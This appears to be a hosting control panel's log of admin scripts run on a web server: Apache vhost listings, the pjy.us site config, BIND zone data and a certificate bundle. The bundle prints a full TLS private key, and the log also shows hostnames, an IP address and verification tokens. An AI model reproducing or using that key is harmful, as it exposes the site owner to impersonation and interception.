    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi


2026-07-12 19:24:15: 

chmod 755 /tmp/pkp837494; /tmp/pkp837494; rm /tmp/pkp837494

2026-07-12 19:24:15: 




2026-07-12 19:24:15: 

PUT: /tmp/pkp361305

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-12 19:24:15: 

chmod 755 /tmp/pkp361305; /tmp/pkp361305; rm /tmp/pkp361305

2026-07-12 19:24:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:24:15: Establishing a connection
2026-07-12 19:24:15: 

PUT: /tmp/pkp251208

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-12 19:24:15: 

chmod 755 /tmp/pkp251208; /tmp/pkp251208; rm /tmp/pkp251208

2026-07-12 19:24:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:24:15: 

PUT: /tmp/pkp656641

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:24:15: 

chmod 755 /tmp/pkp656641; /tmp/pkp656641; rm /tmp/pkp656641

2026-07-12 19:24:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf	1174

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-12 19:24:15: 

PUT: /tmp/pkp226137

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:24:15: 

chmod 755 /tmp/pkp226137; /tmp/pkp226137; rm /tmp/pkp226137

2026-07-12 19:24:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	7404
d4:51:8a:b8:c6:24:4c:f7:f7:d3:80:47:41:76:07:81

-----BEGIN CERTIFICATE-----
MIIE8DCCA9igAwIBAgISBUbt+sco/gvCpPdzrog4aKrfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgyNTQ0WhcNMjYxMDEwMTgyNTQzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClN8FafKgi
7L8W3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTy
E4R5Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+
aba20JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3t
hWpKcK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7
LjG7zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmN
lpcDJvr5FssJAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUTimE9MKA7nzZlpSC
M7nCLUjpVmcwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvOTYuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGfV8mMQgAABAMARjBEAiBavY0/CYjcElMAnkc5F5a6LEW+
1QxYAelfuJjvCHEHrQIgQt782nPAE5o93gBn27TgsuNJ/pI7zkVziWst0duBBgIA
fwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ9XyYxPAAgAAAUA
E8IV5wQDAEgwRgIhANoe1e7v4GVpJjz6gkxEc4z7prQdil2KdU/A563FsRvNAiEA
p57V1t8Mj4YZtKTMbW99ggBECzKSc2wwPiCWw8C9C6AwDQYJKoZIhvcNAQELBQAD
ggEBALC1rUXM/QYThDWMLus3GRdWniE98Y7qJG7oFFujdlBupn2l2HuRFG1YXBKw
ENku1YHR+L4mvs29Sx6Q290WXrCYMQ/4o1ZgzX1MnH5q9QE3GjR1UpzMcQ5RRjyz
LUPRMF2eMRkwISK7VOSnjwHLYs5H+YkB1rumm/W4+gqgIaurFJvPy3zOB/A7aT+f
bDcoV9v4EWE3B9VXlFYJYuPBILPxY4QwSDMupcTcop41/1FaWeud+ThYfJvYitj/
5yP7GAAB7+rUtT9Q0NpNZB2m8JVcu0e+xMp6Z+NIxkVxZI8UTDrCxErT/bt5zPWT
FU9rAeW3fxzLLMRU2ogcQn6ysME=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClN8FafKgi7L8W
3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTyE4R5
Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+aba2
0JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3thWpK
cK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7LjG7
zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmNlpcD
Jvr5FssJAgMBAAECggEAM1cBCWpFIR0qQCNdvMmVXv4r1TSbNdhcgHU5kR1260rQ
wZlN3g/m6Rkf8odzH+fvoR2bfLUhuBuihbIm1zVi/r8u2WkOs4SxHviavfNUnaX3
VaN1w1S8KliyWW5wUrPCZu1mCG1JSBj3gxWKWLlwSa1FCs6pvxP8ix6Ns7Y5mlt3
cgrbPrcIOmX+CB3C7/LDPBZprJb5UtpT2s+1NBPdCwWx7OEXphhnDh3Em/43dVXz
2lQEa5RKqleRntsMU1p1IUKzO8PQEg6jP80IfidgOg9iMu9bTNE2lrrhFmcJMUGL
vvpQuZnmicTMamuIFENu7qMgzRo6U0BPqoh1WmCMdQKBgQDhkOJw8USu2NeAwfPm
AKU5we/ZeqGWUzeG35Qd7KPnN6oKV1mwZShQbp7kBR3OYAjFfaDqIYGSW4cvUkjE
/JJ+CfPPWjpWpmMP4QKjKbgr3wvlbAz7HTp9svcFbus3R+Bt4QJk8n+fH8HYtx36
RQvm+H/b5ZXIuDYDL/S853IhmwKBgQC7gm1frqWHgQB5yVpOz8fNnz/DINluzgLv
AXmsXBFOIHzFO1NDvwxWZNBDfi6E+0NjSdeE1dnVive9pmvcPd8i+NSKjCCmsO+4
q8mi1wEQlnWVhLSstq255XwIIYvFPoTe0ySScj4DghmIEbe6RK5l0WKHqwXAjgsy
9T+YBq7SKwKBgFFm+wEtYM8EvEjgNcfEZdxBK/C9O8FHSNuopghilQflY70Vpu1s
pC7arQa2/fmzWJcE7mRwMRWDaHbgaBiG2csYhl9HPZR1uXxKhKwjay6R8PYbl1es
RaaFRnY0gDhT/R9KO5X4mavwRwGRnATslA4HkgTmhraIHB3sWZMup1aPAoGATBml
Fh4lZBdBACxuEGpXpuYo1KKyXDwUCLhKj19WTqT0vn9TTb1t3mpP8/R0INhxAwzn
ASxhmj8qSLgQMnSR6PmgGRLB9aT9xa9CyGoGLptB4YrYYPhLDZVLf2lN9qFm/6Al
yaG/9WCJyCWYsWpKdVxDZthMH1gGx4mtY5/it70CgYEAwqFv6T8bHK5M1/IhlPvI
4qI+8UJUKDah/MdKpxyKOprJFRO/Qkpt6u8yO3u5AWMZQ2c/Qj4bgp4JQPz5rrC+
WVRspsvXXP0a1GoQNCiam0l6pMb03P5Xk9UL3UBa/KtdUe5++JZ6382zDK343hMW
fwuQXiU2uO1rmyfKYa869Ng=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-12 19:26:53: Establishing a connection
2026-07-12 19:27:02: Establishing a connection
2026-07-12 19:27:03: 

PUT: /tmp/pkp639555

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:27:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp639555; rm /tmp/pkp639555'

2026-07-12 19:27:03: 
2026-07-12 19:27:03: 

PUT: /tmp/pkp600944

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:27:03: 

chmod 755 /tmp/pkp600944; /tmp/pkp600944; rm /tmp/pkp600944

2026-07-12 19:27:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 136776845 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                         300	 IN    TXT      	"v=spf1 mx ~all"
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"gDFqRKT3SSkf0p6UNpJD3d0Cuk0csLLUW103DeNeajo"
_acme-challenge           60	 IN    TXT      	"N196CNwCqd1JEo2OBNVAQ2y4Aai_0MUXYfJEKTYbS20"
